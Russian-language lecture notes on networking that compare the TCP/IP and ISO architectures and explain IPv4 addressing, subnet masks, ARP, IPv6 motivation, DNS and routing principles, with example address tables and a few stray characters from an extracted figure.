Главным направлением развития современных информационно-вычислительных сетей (ИВС) являются их глобализация и объединение (интеграция). Это приводит к расширению ИВС, совместному использованию программного обеспечения (ПО), объединению различных сетей и т.п.

В реальных сетях используется множество сетевых архитектур, таких как TCP/IP, IPX/SPX, XNS XEROX, Apple Talk, SNA, Banyan VINES, ISO, 3COM, DECnet и ряд других.

однако, наибольшее распространение получили два подхода – архитектура TCP/IP американского научно-исследовательского центра DARPA и архитектура сети на базе стандарта ISO. Принципиальные отличия этих архитектур вытекают из учёта качества используемых каналов связи. Так, архитектура TCP/IP ориентирована на применение достаточно хороших каналов связи с низким коэффициентом ошибок (порядка 10-5), в то время как архитектура ISO допускает использование каналов с вероятностью ошибки порядка 10^(-3).

Так как основная задача ИВС общего пользования состоит в организации взаимодействия разнородных пользователей на значительных территориях, то главными требованиями к сетевой архитектуре являются:

· наличие мощной, открытой и гибкой системы адресации, позволяющей обеспечить обслуживание значительного количества пользователей; 

· высокая эффективность передачи полезной информации в сети как по времени, так и по верности доставки; 

· высокая степень адаптации к изменяющимся внешним условиям (неисправности, подключение новых ресурсов или пользователей). 

Можно выделить следующие существенные отличия данных архитектур:

Архитектура ISO предусматривает жёсткий набор протоколов на всех уровнях модели, когда на каждом уровне между взаимодействующими объектами сначала устанавливается логическая связь, а уже затем передаются данные. При этом сверху до низу сохраняется последовательность передачи протокольных единиц (блоков, фрагментов, пакетов, кадров) и предпринимаются специальные меры для сохранения целостности этих порций данных. В случае потери или искажения протокольной единицы на каждом уровне (кроме физического) осуществляются перезапрос и повторная передача искажённой протокольной единицы.
       Архитектура TCP/IP предусматривает возможность ветвления протоколов и даже добавление новых. За целостностью данных следит транспортный уровень (протокол ТСР) либо сам пользователь (протокол UDP).

Таблица."Стек основных протоколов сетевых архитектур ISO и TCP/IP"
	Уровни стандарта ISO
	Стек протоколов стандарта ISO
	Стек протоколов TCP/IP

	7. Прикладной
	Набор протоколов
	Набор протоколов

	6. Представления данных
	Х.226
	

	5. Сеансовый
	X.225
	TCP           UDP

	4. Транспортный
	X.224
	

	3. Сетевой
	X.25/3
	IP

	2. Канальный
	LAP-B (X.25/2)
	Произвольный

	1. Физический
	X.21
	Произвольный


Различия в идеологии построения сетевых архитектур порождают существенные различия механизма передачи данных на всех уровнях стандарта ISO за исключением физического и канального, где могут применяться протоколы LAP-B и Х.21, но могут и другие. Основные отличия в алгоритме передачи данных состоят, во-первых, в идеологии защиты от ошибок, и, во-вторых, в реализации режима коммутации пакетов (КП).
Рассмотрим сначала методы борьбы с ошибками.
Вопросам защиты данных от ошибок и сбоев уделено много внимания. Для этого выделяется второй (канальный) уровень. Обнаружение ошибок выполняется с помощью мощного помехоустойчивого кода типа БЧХ (Рек. V.42) с минимальным кодовым расстоянием d=5, что позволяет обнаруживать любую 4-х кратную ошибку. Исправление ошибок выполняется с помощью алгоритмов с обратной связью – РОС-ОЖ или (чаще) РОС-НП. Для борьбы со вставками и выпадениями кадров используются тайм-аут и циклическая нумерация кадров. На сетевом уровне обеспечиваются нумерация пакетов и их перезапрос. Всё это позволяет использовать передающую среду практически любого качества, однако платой за это является высокая степень вносимой избыточности, т.е. падение реальной скорости передачи информации.

В архитектуре TCP/IP первый и второй уровни вообще не оговорены, т.е. передача может вестись даже без защиты от ошибок. Повышение верности возложено на транспортный протокол ТСР. Если используются хорошие каналы, например, волоконно-оптические линии связи (ВОЛС), то на транспортном уровне используется протокол UDP, где не предусмотрена защита от ошибок. В этом случае обнаружение и исправление ошибок осуществляются на прикладном уровне специальными программами пользователя. Такой подход становится понятным, т.к. архитектура TCP/IP первоначально была реализована в сети ARPANET, где использовались выделенные высокоскоростные каналы.

Рассмотрим различия в способах коммутации пакетов, т.е. в реализации 3-го уровня ISO.

В архитектуре ISO за маршрутизацию (доставку пакетов по адресу) отвечает третий (сетевой) уровень (Рек. Х.25). Предусматривается создание виртуальных соединений или каналов от источника до получателя, а затем по этому соединению передаются пакеты. Такой режим называется виртуальным режимом КП и по принципам напоминает традиционную коммутацию каналов (КК). В архитектуре TCP/IP реализуется другой подход, называемый дейтаграммным режимом КП. Этот режим резко упрощает задачу маршрутизации, но порождает проблему сборки сообщений из пакетов, т.к. пакеты одного сообщения могут доставляться по разным маршрутам и поступать к получателю в разное время. Дейтаграммный режим КП по принципам напоминает коммутацию сообщений (КС).

Cравнения виртуального и дейтаграммного методов КП по следующим характеристикам:

· установление соединения; 

· адресация; 

· процедура передачи пакета по сети; 

· управление входным потоком сообщений; 

· эффективность использования сетевых ресурсов. 

Установление соединения. При виртуальной КП до передачи сообщения устанавливается логическое соединение между взаимодействующими объектами транспортного уровня (а возможно и более высоких уровней ISO). Этот логический канал запоминается в маршрутных таблицах всех центров коммутации пакетов (ЦКП), которые участвуют в соединении. Пакеты передаются только по установленному логическому каналу, поэтому порядок их следования при этом не нарушается.

При дейтаграммой КП логического соединения не устанавливается, поэтому пакеты одного сообщения передаются по тем маршрутам, которые оптимальны в данный момент, т.е. возможно разными маршрутами. Проблема сборки сообщения из пакетов решается на транспортном уровне.

Адресация. При виртуальном режиме КП полный адрес объекта-получателя передаётся только при установлении логического соединения, т.е. с первым пакетом. Получив этот пакет, объект-получатель извещает отправителя о согласии на проведение сеанса связи (или несогласии). Создаётся логическое соединение, и передаются остальные пакеты, содержащие только номер логического канала.

При дейтаграммном режиме КП каждый передаваемый пакет обязательно должен содержать полный адрес получателя (и отправителя) и номер пакета в сообщении.

Процедура передачи пакета по сети. Виртуальный режим КП предусматривает выделение специальной базовой сети передачи данных (ПД) и передачу пакетов в этой сети ПД по готовому логическому каналу, создаваемому по инициативе транспортного уровня.

При дейтаграммном режиме каждый пакет передаётся по разным маршрутам, что позволяет эффективнее использовать сетевые ресурсы, т.к. в больших сетях загрузка каналов меняется очень быстро, поэтому маршрут доставки желательно корректировать чаще. В данном случае можно построить глобальную сеть без выделения отдельной базовой сети ПД.

Управление входящим потоком сообщений. При виртуальном режиме КП управление потоком входящих сообщений (но не пакетов) возможно лишь на входе виртуального канала, т.е. на конкретном центре коммутации пакетов для данного сообщения.

Дейтаграммный режим КП является более гибким и позволяет управлять входящим потоком сообщений практически с любого ЦКП, что улучшает гибкость управления.

Эффективность использования сетевых ресурсов. В виртуальном режиме КП оптимальный маршрут выбирается только в момент установления логического соединения, поэтому при быстром изменении ситуации на сети путь, оптимальный для первого пакета сообщения, может быть не оптимальным для последующих пакетов одного и того же сообщения.

При дейтаграммном режиме коррекция маршрута производится чаще, что позволяет более равномерно загрузить каналы всей сети и, в конечном счёте, уменьшить время доставки сообщения.

5.2.1.3 Сфера применения архитектуры TCP/IP
Сфера применения архитектуры TCP/IP определяется их свойствами, которые порождают основные достоинства и недостатки используемых сетевых архитектур.

Достоинства архитектуры TCP/IP:

· небольшие затраты на реализацию протоколов взаимодействия за счёт меньшего набора требуемых протоколов; 

· существенное упрощение процедуры маршрутизации, что снижает стоимость базовой сети передачи данных за счёт использования более простых ЦКП; 

· возможность построения крупномасштабной ИВС с использованием разнотипного оборудования; 

· возможность реализации взаимодействия различных сетей с применением простых алгоритмов согласования. 

К недостаткам архитектуры TCP/IP можно отнести:

· возможность реализации только при использовании «хороших» каналов связи (желательно выделенных); 

· необходимость решения проблемы сборки пакетов, которые могут поступать на транспортный уровень в произвольном порядке; 

· возможность потери сообщения из-за несвоевременной доставки одного из пакетов этого сообщения; 

· усложнение прикладных программ пользователя за счёт введения процедур контроля и исправления ошибок в получаемых сообщениях. 

При построении глобальных сетей, когда решающим фактором выступает простота согласования работы различных национальных сетей, реализуемых, как правило, на разнотипном оборудовании, наиболее эффективно применение архитектуры TCP/IP, данный вывод подтверждается практикой, т.к. в Internet используют именно архитектуру TCP/IP.А Сетевая архитектура ISO эффективна при применении «плохих» каналов связи, необходимости работы в реальном масштабе времени и однородной структуре оборудования, причём основным выступает качество каналов связи.

В архитектуре Internet отдельные сети (ЛВС, региональные и глобальные) соединяются друг с другом специальными устройствами — маршрутизаторами IP-пакетов.

Определение. Устройства объединения сетей в рамках Internet называются IP-шлюзами, или IP-маршрутизаторами, или Router.
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5.2.1.3.2 Фрагмент сети Интернет
LAN - локальная вычислительная сеть;
MAN - региональная ИВС;
WAN - глобальная ИВС;
WS (Work Station) — рабочая станция ЛВС; 
FS (File Server) - файл-сервер;
Host - узловая машина (компьютер, который подключен к сети в качестве узла);
Router - IP-маршрутизатор.
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Шлюз подключается к двум или более сетям, каждая из которых воспринимает этот шлюз как хост-ЭВМ. Поэтому шлюз имеет физический интерфейс и специальный IP-адрес в каждой из подключаемых сетей. Передача пакетов требует от шлюза определение IP-адреса следующего шлюза или, на последнем участке, IP-адреса хост-машины, которой направляется IP-пакет. Функция шлюза, которая обычно называется маршрутизацией, основана на анализе специальных маршрутных таблиц (матриц маршрутов), которые находятся в специальной базе данных. База данных в каждом из шлюзов должна постоянно обновляться, чтобы отражать текущую топологию сети Internet.

Маршрут - это последовательность маршрутизаторов, которые проходит пакет от отправителя до пункта назначения.

В основе функционирования сети Интернет заложены протоколы TCP/IP.
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5.2.1.3.5 Пример цепочки протоколов TCP/IP
Данные передаются в пакетах. Пакеты имеют заголовок, который содержит служебную информацию. Данные более верхних уровней вставляются в пакеты нижних уровней.
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5.2.1.3.7 Передача сообщений в сети Internet на основе механизма инкапсуляции (encapsulation)
5.2.1.4 Физический и канальный уровень
Стек TCP/IP не подразумевает использования каких-либо определенных протоколов уровня доступа к среде передачи и физических сред передачи данных. От уровня доступа к среде передачи требуется наличие интерфейса с модулем IP, обеспечивающего передачу IP-пакетов. Также требуется обеспечить преобразование IP-адреса узла сети, на который передается IP-пакет, в MAC-адрес. Часто в качестве уровня доступа к среде передачи могут выступать целые протокольные стеки, тогда говорят об IP поверх ATM, IP поверх IPX, IP поверх X.25 и т.п.

5.2.1.5 Межсетевой уровень и протокол IP (Internet Protocol)
Основу этого уровня составляет IP-протокол:

· Первый стандарт IPv4 определен в RFC-760 (1980 г.). 

· Последняя версия IPv4 - RFC-791 (1981 г.). 

Назначение протокола IP
Протокол межсетевого взаимодействия - IP - это ненадежный, не требующий установки соединения с получателем, механизм доставки сообщений в виде отдельных пакетов.
"Ненадежность доставки":

· Не гарантируется доставка пакетов получателю; 

· По пути следования пакет может быть утерян, продублирован, задержан; 

· Пакеты могут быть доставлены с нарушением порядка следования. 

Для доставки пакетов не требуется предварительного установления соединения (т.е. пути следования пакетов), так как каждый пакет считается независимым от остальных. Поэтому пакеты от отправителя до получателя могут проходить по разным маршрутам.

Межсетевая дейтаграмма
Пакет, передаваемый по сети Internet, называют IP-дейтаграммой или IP-пакетом.

Структура пакета: заголовок и блок данных.

В заголовок IP-пакета включен набор правил, обеспечивающих доставку пакета данных получателю. В этих правилах оговариваются способы обработки пакетов узлами сети и маршрутизаторами, а также условия, при возникновении которых должны генерироваться сообщения об ошибке, а пакеты удаляться из сети.
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5.2.1.6 Типы адресов стека TCP/IP
В стеке TCP/IP используются три типа адресов: локальные (называемые также аппаратными), IP-адреса и символьные доменные имена.

В терминологии TCP/IP под локальным адресом понимается такой тип адреса, который используется средствами базовой технологии для доставки данных в пределах подсети, являющейся элементом составной сети. Если подсетью составной сети является локальная сеть, то локальный адрес – это MAC-адрес. MAC-адрес назначается сетевым адаптерам и сетевым интерфейсам маршрутизаторов. MAC-адреса назначаются производителями оборудования и являются уникальными. Для всех существующих технологий локальных сетей MAC-адрес состоит из 6 байт, например 11-A0-17-3D-BC-01. MAC-адрес – это адрес, используемый на канальном уровне.

IP-адрес – это адрес сетевого уровня. IP-адреса представляют собой основной тип адресов, на основании которых сетевой уровень передает пакеты между сетями. Эти адреса состоят из 4 байт, например, 109.26.17.100. IP-адрес назначается администратором во время конфигурирования компьютеров и маршрутизаторов. IP-адрес состоит из двух частей: номера сети и номера узла. Номер узла назначается независимо от локального адреса узла.

Символьные доменные имена - специальные имена компьютеров в сети Internet.

5.2.1.7 Протокол межсетевых взаимодействий (IPv4)
5.2.1.7.1 Представление и структура IP-адреса
	Двоичный формат
	10000011
	01101011
	0000011
	00011000

	Десятичный формат
	131
	107
	3
	24

	
	W.
	X.
	Y.
	Z.


5.2.1.7.2 Классовая система адресации
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5.2.1.7.4 Специальные адреса
	a)

	00000000
	00000000
	00000000
	00000000

	Разрешено использовать только в процессе инициализации сетевого программного обеспечения

	b)

	11111111
	11111111
	11111111
	11111111

	Ограниченный широковещательный адрес в своей локальной сети

	c)

	00000000
	Идентификатор узла

	00000000
	00000000
	Идентификатор узла

	00000000
	00000000
	00000000
	Идентификатор узла

	Компьютер в своей сети

	d)

	Идентификатор сети
	11111111
	11111111
	11111111

	Идентификатор сети
	11111111
	11111111

	Идентификатор сети
	11111111

	Направленный широковещательный адрес в указанной сети

	e)

	01111111
	Специальные комбинации

	Петля обратной связи


	Класс сети
	Количество сетей
	Количество узлов в сети
	Диапазон значений первого байта идентификаторов сети

	Класс A
	126
	16 777 214
	1-126

	Класс B
	16384
	65 534
	128-191

	Класс C
	2 097 152
	254
	192-223


Класс D имеет следующую сетку групповых IP-адресов:
       от 224.0.0.0 до 239.255.255.255.
5.2.1.7.5 Назначение идентификаторов сетей
Для подключения сети к Интернет необходимо получить идентификатор сети от Информационного Центра Интернет (InterNIC- Internet NetworkInformation Center). Идентификатор сети должен охватывать все узлы, подключенные к одной физической сети.
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5.2.1.7.7 Пример распределения IP-адресов
5.2.1.7.8 [image: image20.png]



5.2.1.7.9 Адреса интерфейсов
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5.2.1.7.11 Сетевые адреса
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5.2.1.7.13 Три маршрутизатора, соединяющие шесть хостов
Адресное пространство, выделенное для Intranet (автономные IP-сети):
в классе А - одна сеть с адресом 10.x.y.z.
в классе B - 16 сетей с адресами 172.16.y.z. - 172.31.y.z.
в классе C - 256 сетей с адресами 192.168.y.z. - 192.168.255.z

5.2.1.7.14 Подсети
Традиционная схема деления IP-адреса на номер сети и номер узла основана на понятии класса, который определяется значениями нескольких первых бит адреса. Именно потому, что первый байт адреса 185.23.44.206 попадает в диапазон 128-191, можно сказать, что этот адрес относится к классу B, а значит, номером сети являются первые два байта, дополненные двумя нулевыми байтами – 185.23.0.0, а номером узла – 0.0.44.206. В таком представлении IP-адрес состоит из двух иерархических уровней. Необходимость во введении третьего уровня иерархии – уровня подсетей – была продиктована возникновением дефицита номеров сетей и резким ростом таблиц маршрутизации маршрутизаторов в сети Интернет. После введения уровня подсети номер узла разделяется на две части – номер подсети и номер узла в этой подсети.
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5.2.1.7.16 Формирование трехуровневой иерархии
Увеличение количества уровней снимает проблему роста таблиц маршрутизации благодаря тому, что информация о топологии частных сетей становится ненужной магистральным маршрутизаторам Интернета. Маршруты из сети Интернет до любой конкретной подсети, расположенной в сети с данным IP-адресом, одинаковы и не зависят от того, в какой подсети расположен получатель. Это стало возможным благодаря тому, что все подсети сети с данным номером используют один и тот же номер сети, хотя их номера (номера подсетей) разные. Маршрутизаторам в частной сети требуется различать отдельные подсети, но для маршрутизаторов Интернета все подсети относятся к единственной записи в таблице маршрутизации. Это позволяет администратору частной сети вносить любые изменения в логическую структуру своей сети, не влияя на размер таблиц маршрутизации маршрутизаторов Интернета.

Кроме того, легко решается проблема выделения номеров при росте организации. Организация получает номер сети, а затем администратор произвольно присваивает номера подсетей для каждой внутренней сети. Это позволяет организации расширять свою сеть без необходимости получения еще одного сетевого номера.

5.2.1.7.17 Маски сетей
Маска сети - это 32-разрядная двоичная последовательность,используемая для выделения (маскирования) из IP-адреса его частей: идентификаторов сети и узла. Такая процедура позволяет выяснить, относится ли тот или иной адрес к своей локальной сети.

Каждый узел или интерфейс (сетевой адаптер) должен иметь маску сети, задаваемую по умолчанию (в том случае, когда сеть не делится на подсети) либо специальную (если сеть разбита на несколько подсетей).

Значение маски сети по умолчанию определяется классом сети.

	Класс адресов
	Двоичная запись маски сети
	Десятичная запись маски сети

	Класс A
	11111111 00000000 00000000 00000000
	255.0.0.0

	Kласс B
	11111111 11111111 00000000 00000000
	255.255.0.0

	Класс C
	11111111 11111111 11111111 00000000
	255.255.255.0


5.2.1.7.18 Пример для класса В
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	IP-адрес
	10011111 11100000 00000111 10000001

	Маска сети
	11111111 11111111 00000000 00000000

	Результат
	10011111 11100000 00000000 00000000


5.2.1.7.20 Подсети: адреса и маски (для сети класса В)
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5.2.1.7.22 Маски для подсетей, создаваемых в сети класса В
	Количество подсетей
	Требуемое число бит
	Маска подсети
	Количество узлов в подсети

	2
	2
	255.255.192.0
	16 382

	6
	3
	255.255.224.0
	8 190

	14
	4
	255.255.240.0
	4 096

	30
	5
	255.255.248.0
	2 046

	62
	6
	255.255.252.0
	1 022

	126
	7
	255.255.254.0
	510

	254
	8
	255.255.255.0
	254


5.2.2 Адресация в IP-сетях

5.2.2.1.1 [2]

5.2.2.2 Протокол ARP (Address Resolution Protocol) -протокол разрешения адресов
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5.2.2.2.2 У каждого адаптера, соединенного с локальной сетью, есть уникальный адрес
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5.2.2.2.4 У каждого узла локальной сети есть IP-адрес, а у каждого адаптера узла есть LAN-адрес
5.2.2.2.5 [image: image28.png]7420.9CBOFR 55

P

P
EGE)-017BBAB

cca0.0mmn.0

maTmm

freon
manamman

$B2IESHIAF

rammmm

0BDD2C75628

wanamamm




5.2.2.2.6 Две локальные сети, соединенные маршрутизатором
5.2.2.2.7 Пример ARP – таблицы для узла с LAN-адресом 222.222.222.220
	IP-адрес
	LAN-адрес
	TTL

	222.222.222.221
	88-B2-2F-54-1A-0F
	13:45:00

	222.222.222.223
	5C-66-AB-90-75-B1
	13:52:00


5.2.2.2.8 Пример ARP -запроса для передачи IP-пакетов по сети Ethernet
	Значения полейp
	ARP-запроса
	ARP-ответа

	1
	1 (0x1)
	1 (0x1)

	2
	2048 (0x800)
	2048 (0x800)

	3
	6 (0x6)
	6 (0x6)

	4
	4 (0x4)
	4 (0x4)

	5
	1 (0x1)
	2 (0x2)

	6
	008048EB7E60
	00E0F77F1920

	7
	194.85.135.75
	194.85.135.65

	8
	000000000000
	008048EB7E60

	9
	194.85.135.65
	194.85.135.75


5.2.3 Адресация в IP-сетях

5.2.3.1.1 [3]

5.2.3.2 Новая версия протокола межсетевых взаимодействий (IPv6)
5.2.3.2.1 Основные проблемы протокола IPv4 и пути их решения
1. Быстрое исчерпание адресного пространства. В настоящее время наблюдается дефицит IP-адресов. Например, очень трудно получить адрес класса B и практически невозможно стать обладателем адреса класса А. 
Дефицит обусловлен не только ростом сетей, но и тем, что имеющееся множество IP-адресов не всегда используется рационально. Очень часто владельцы сети класса C расходуют лишь небольшую часть из имеющихся у них 254 адресов. Например, две сети необходимо соединить глобальной связью. В таких случаях в качестве канала связи используют два маршрутизатора, соединенных по схеме «точка-точка». Для вырожденной сети, образованной каналом, связывающим порты двух смежных маршрутизаторов, приходится выделять отдельный номер сети, хотя в этой сети имеются всего 2 узла. 
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5.2.3.2.3 Пример нерационального использования пространства IP-адресов

Если некоторая IP-сеть создана для работы в «автономном режиме», без связи с Internet, то администратор этой сети может назначить ей произвольно выбранный номер. В стандартах Internet определено несколько диапазонов адресов, рекомендуемых для локального использования. Эти адреса не обрабатываются маршрутизаторами Internet. Адреса, зарезервированные для локальных целей: 
в классе A – это сеть 10.0.0.0; 
в классе B – это диапазон из 16 номеров сетей 172.16.0.0 - 172.31.0.0; 
в классе C – это диапазон из 255 сетей – 192.168.0.0 - 192.168.255.0. Данная проблема привела к необходимости использования трансляторов сетевых адресов NAT (Network Address Translator), которые отображают несколько частных адресов в один открытый IP-адрес. Основные проблемы, создаваемые этим механизмом, состоят в дополнительных издержек при обработке данных и отсутствие сквозного соединения. 

2. Отсутствие поддержки иерархии.
Вследствие предопределенной внутренней организации классов в протоколе IPv4 отсутствует поддержка подлинной иерархии. Невозможно структурировать IP-адреса таким образом, каким они на самом деле отображаются в топологии сети. Этот ключевой недостаток создает необходимость в использовании большой таблицы маршрутизации для доставки пакетов IPv4 в любое место Интернета. 

3. Сложность настройки сети.
Для использования протокола IPv4 адреса должны присваиваться статически или с помощью таких протоколов конфигурации, как протокол DHCP. В идеальной ситуации хосты не должны полагаться на администрацию инфраструктуры DHCP. Вместо этого они должны иметь способность к самостоятельному конфигурированию на основе сегмента сети, в котором они расположены. 

4. Отсутствие встроенных систем проверки подлинности и конфиденциальности.
Протокол IPv4 не требует поддержки какого-либо механизма, который при обмене данными обеспечивал бы проверку их подлинности или шифрование. 

Для решения отмеченных проблем разработчики стека TCP/IP предлагают разные подходы. Принципиальным решением является переход на протокол – Internet Protocol версии 6 (IPv6).
       Протокол IPv6 — это новый набор стандартных протоколов для сетевого уровня Интернета. Новый набор протоколов должен удовлетворять следующим основным требованиям:

· Широкомасштабная маршрутизация и адресация с низкими дополнительными издержками. 

· Автоконфигурация для разных способов подключения. 

· Встроенная система проверки подлинности и конфиденциальности. 

Переход на новый протокол может затянуться на длительное время, в течение которого две версии протокола IP должны мирно сосуществовать.
       (В документах рабочей группы IETF по вопросам смены версий протокола IP (Next Generation Transition, NGTRANS) указывается, что IPv4 и IPv6 могут сосуществовать в течение неограниченного времени).

Поэтому способ перехода должен предусматривать сохранение совместимости новых узлов и сетей с доминирующим сейчас в сети протоколом IPv4. Логика работы и форматы данных двух протоколов существенно отличаются, поэтому их совместимость должна обеспечиваться внешними по отношению к ним механизмами.

5.2.3.3 Система доменных имен. Протокол DNS
В Internet принято присваивать компьютерам специальные имена.Эта система имен получила название доменной системы имен - DNS ( Domain Name System). Для реализации системы DNS был разработан специальный протокол прикладного уровня DNS.

В сети Internet доменная система имен имеет иерархическую древовидную структуру, допускающую использование в имени произвольного количества составных частей. На практике редко число составляющих частей превышает пять. Отдельные части имени называют доменами. Старшая часть имени стоит всегда первой справа и она носит название домена первого уровня. Следом за ней идет домен второго более низкого уровня и т.д. Замыкает имя слева младшая часть, которая соответствует конечному узлу.

Домены второго, третьего и т.д. уровней иногда называют поддоменами вышестоящего домена. Имя поддомена назначает администратор вышестоящего домена.
       Например: www.microsoft.com.

Домен первого уровня com является доменом верхнего уровня. Эти домены могут быть различными и, как правило, они отображают организационную структуру или страну. Таким образом, по верхнему домену можно определить местоположение или профиль организации. Имена этих доменов определяются международным стандартом ISO 3166. Так, первоначально для США были определены шесть организационных доменов верхнего уровня:

· gov -правительственные организации; 

· edu -образовательные организации; 

· mil -военные организации; 

· com -коммерческие организации; 

· org - общественные некоммерческие организации; 

· net - организации, предоставляющие сетевые услуги. 

Кроме того, каждая страна имеет свой двухбуквенный домен верхнего уровня.
Для того, чтобы обеспечить уникальность имени компьютера в Internet, ответственность за присвоение имен несет администратор домена следующего уровня.

Служба DNS - это централизованная служба, основанная на распределенной базе данных, содержащей взаимно однозначное отображение "доменное имя - IP-адрес компьютера".
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5.2.3.3.2 Пример части дерева доменных имен
Служба DNS использует в своей работе протокол типа "киент-сервер". DNS-клиент обращается к DNS-серверам с запросами о разрешении доменного имени в IP-адрес. Для каждого домена имен создается свой DNS-сервер. Этот сервер хранит таблицы отображения "доменное имя - IP-адрес" для всего домена, включая все его поддомены

В основании иерархического дерева имен (над доменами первого уровня) находится так называемый корневой домен, который управляется центром InterNIC.

Существуют две основные процедуры разрешения доменных имен в IP-адреса:-итеративная и рекурсивная. Практически используется в Internet рекурсивная процедура.

5.2.4 Принципы и алгоритмы маршрутизации в Интернет

5.2.4.1.1 [1]

5.2.4.2 Проблема маршрутизации в сети Internet
В архитектуре TCP/IP сети соединяются друг с другом коммутаторами IP-пакетов, которые называются шлюзами или IP-маршрутизаторами. Основная задача IP-маршрутизатора — определение по специальному алгоритму адреса следующего IP-маршрутизатора. Для решения этой задачи каждый IP-маршрутизатор должен располагать матрицей маршрутов (специальной базой данных, обеспечивающей маршрутизацию), которую необходимо регулярно обновлять.

Алгоритм маршрутизации является тем фундаментом, на котором строится вся работа базовой сети с архитектурой TCP/IP. Обеспечение надёжных сетевых услуг требует определённой динамики маршрутизации. Неожиданные изменения в связности базовой сети должны рассматриваться как обычные явления и соответствующим образом обрабатываться, так же как и перегрузки отдельных направлений и каналов.

Существует ряд требований, которые следует учитывать при выборе приемлемого алгоритма маршрутизации:

· алгоритм маршрутизации должен распознавать отказ и восстановление каналов связи или других IP-маршрутизаторов и переключаться на другие, подходящие маршруты. Время переключения маршрутов должно быть меньшим, чем типичный тайм-аут пользователя протокола ТСР (примерно 1 мин); 

· алгоритм должен исключать образование циклов, петель и эффекта «пинг-понг» в назначаемых маршрутах как между соседними IP – маршрутизаторами, так и для удалённых IP – маршрутизаторов. Существование вышеперечисленных эффектов не должно превышать типичного тайм-аута пользователя протокола TCP (примерно 1 минута); 

· нагрузка, создаваемая управляющими сообщениями, которые необходимы для работы алгоритма маршрутизации, не должна ощутимо ухудшать или нарушать нормальную работу сети. Изменение состояния сети, которое может прервать нормальную работу в некоторой локальной области сети, не должно оказывать воздействия на удалённые участки; 

· поскольку размеры сети постоянно увеличиваются, необходимо обеспечить эффективное использование сетевых ресурсов, например, изменение матриц маршрутов выполнять по частям, передавая по глобальным сетям только дополнения к базам данных по маршрутизации; 

· размер базы данных по маршрутизации не должен превышать некоторой константы, не зависящей от топологии сети, умноженной на количество узлов и на среднюю связность сети. Хорошая реализация не должна требовать хранения полной базы данных по маршрутизации в каждом IP - маршрутизаторе; 

· если используются метрики, основанные на достижимости узла и задержке в доставке пакета, то они не должны зависеть от прямой связности со всеми другими IP-маршрутизаторами или от использования механизмов широковещательной передачи, специфичных для некоторых сетей. Процедуры опроса не должны вносить существенных дополнительных расходов; 

· маршруты по умолчанию следует использовать в качестве первоначальных предположений о маршрутизации, чтобы затем выбирать окончательное направление передачи. 

Кроме перечисленных выше задач IP-маршрутизатор должен обеспечивать эффективное распределение собственных ресурсов как по пропускной способности каналов, так и по объёму буферных ЗУ, используемых для хранения пакетов, ожидающих передачу. Самая очевидная стратегия «первым пришёл — первым обслужен» (FCFS — First Come First Served) может оказаться неприемлемой в условиях перегрузки сети.

Так, например, нельзя допустить, чтобы высокоскоростной канал захватил весь объём буферных ЗУ, ничего не оставив низкоскоростному каналу. В хороших алгоритмах обязательно должно учитываться поле «тип услуг» заголовка IP-пакета; IP-маршрутизатор может назначить больший приоритет IP-пакетам, передающим управляющую или служебную информацию.

Наконец, алгоритм маршрутизации должен обеспечивать надёжный алгоритм определения состояния каждого канала связи и узла в базовой сети и, если требуется, состояние хост-ЭВМ. Для этого нужен, по крайней мере, протокол канального уровня, предполагающий периодический обмен кадрами через каждый канал связи. Однако этого часто оказывается недостаточно, поэтому дополнительно требуется специальный механизм в алгоритмах маршрутизации. По техническим, административным, географическим, а также иногда и политическим соображениям IP-маршрутизаторы группируются в так называемые «автономные системы». IP-маршрутизаторы, входящие в одну автономную систему, контролируются одной организацией, обеспечивающей их сопровождение, и используют общие для данной автономной системы алгоритмы маршрутизации.
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5.2.4.2.2 Пример автономной системы
Определение. Конкретный вариант протокола маршрутизации, действующий внутри одной автономной системы, называется внутренним протоколом маршрутизации (IGP — Interior Gateway Protocol).
Возможно, что некоторому IP-пакету, чтобы достичь места назначения, придётся пройти через IP - маршрутизаторы двух или более автономных систем. Поэтому автономные системы должны иметь возможность обмениваться информацией о своём состоянии.

Определение. Протокол для обмена служебной информацией между автономными системами называется внешним протоколом маршрутизации (EGP — Exterior Gateway Protocol).
Каждый IP-маршрутизатор должен обеспечить реализацию протоколов физического, канального, межсетевого уровней, а также протоколы доступа к сети. В качестве последних используются протоколы Ethernet, Frame Relay, ATM, SLIP, PPP и ряд других, а для сетей с архитектурой ISO протокол Х.25/2 (LAP-B). Кроме того, IP-маршрутизатору необходима реализация некоторого алгоритма выбора маршрута по таблице маршрутизации, а также алгоритма её обновления.
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5.2.4.2.4 Схематическое изображение двух автономных сетей с протоколами внутренних (IGP) и внешних (EGP)

Процедура выбора пути заложена в протоколе IP, причём IP-уровень не знает всего пути, а владеет лишь информацией о том, какому IP-маршрутизатору передать IP-пакет с конкретным адресом места назначения.

Просмотр таблицы маршрутизации происходит в три этапа:

· ищется соответствие адреса, записанного в IP-пакете, адресу места назначения в маршрутной таблице. В случае успеха пакет посылается соответствующему IP-маршрутизатору или непосредственно хост-ЭВМ. Связи “точка-точка” выявляются именно на этом этапе; 

· ищется соответствие адреса, записанного в IP-пакете, адресу некоторой региональной сети места назначения (одна запись в таблице маршрутизации соответствует всем хостам, входящим в данную региональную сеть). В случае успеха система действует так же, как и в предыдущем пункте; 

· ищется маршрут «по умолчанию», если таковой предусмотрен; дейтаграмма посылается в соответствующий маршрутизатор. 

5.2.4.2.5 Таблица продвижения данных хоста А

	Сеть получателя
	Следующий маршрутизатор
	Число ретрансляционных участков

	223.1.1.0/24
	 
	1

	223.1.2.0/24
	223.1.1.4
	2

	223.1.3.0/24
	223.1.1.4
	2
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5.2.4.2.7 Продвижение данных хоста А
Существуют статические и динамические алгоритмы обновления таблицы.

Статический алгоритм есть способ маршрутизации, не изменяющийся при изменении топологии и состояния сети. Примерами являются алгоритмы случайной и лавинной маршрутизации. Случайная маршрутизация — передача данных из узла в любом, случайным образом выбранном направлении, кроме направления, по которому данные поступили в узел. Данные, совершая «блуждания» по сети с конечной вероятностью когда-либо достигают адресата. Лавинная маршрутизация — передача данных из узла во всех направлениях, кроме того, по которому поступили данные. Очевидно, что хотя бы одно направление обеспечит доставку пакета за минимальное время, т.е. лавинная маршрутизация гарантирует малое время доставки.

Шлюзы, входящие в состав одной автономной системы, могут выполнять алгоритм динамической маршрутизации — протоколы на основе алгоритма Беллмана-Форда и протоколы на основе алгоритма Дейкстры. Каждой дуге графа ставится в соответствие действительное число, называемое длиной дуги; тогда длина пути определяется суммой длин составляющих его дуг. Обычно это число переприёмов или средняя задержка пакетов, но возможны и другие метрики, например, пропускная способность канала связи, надёжность.

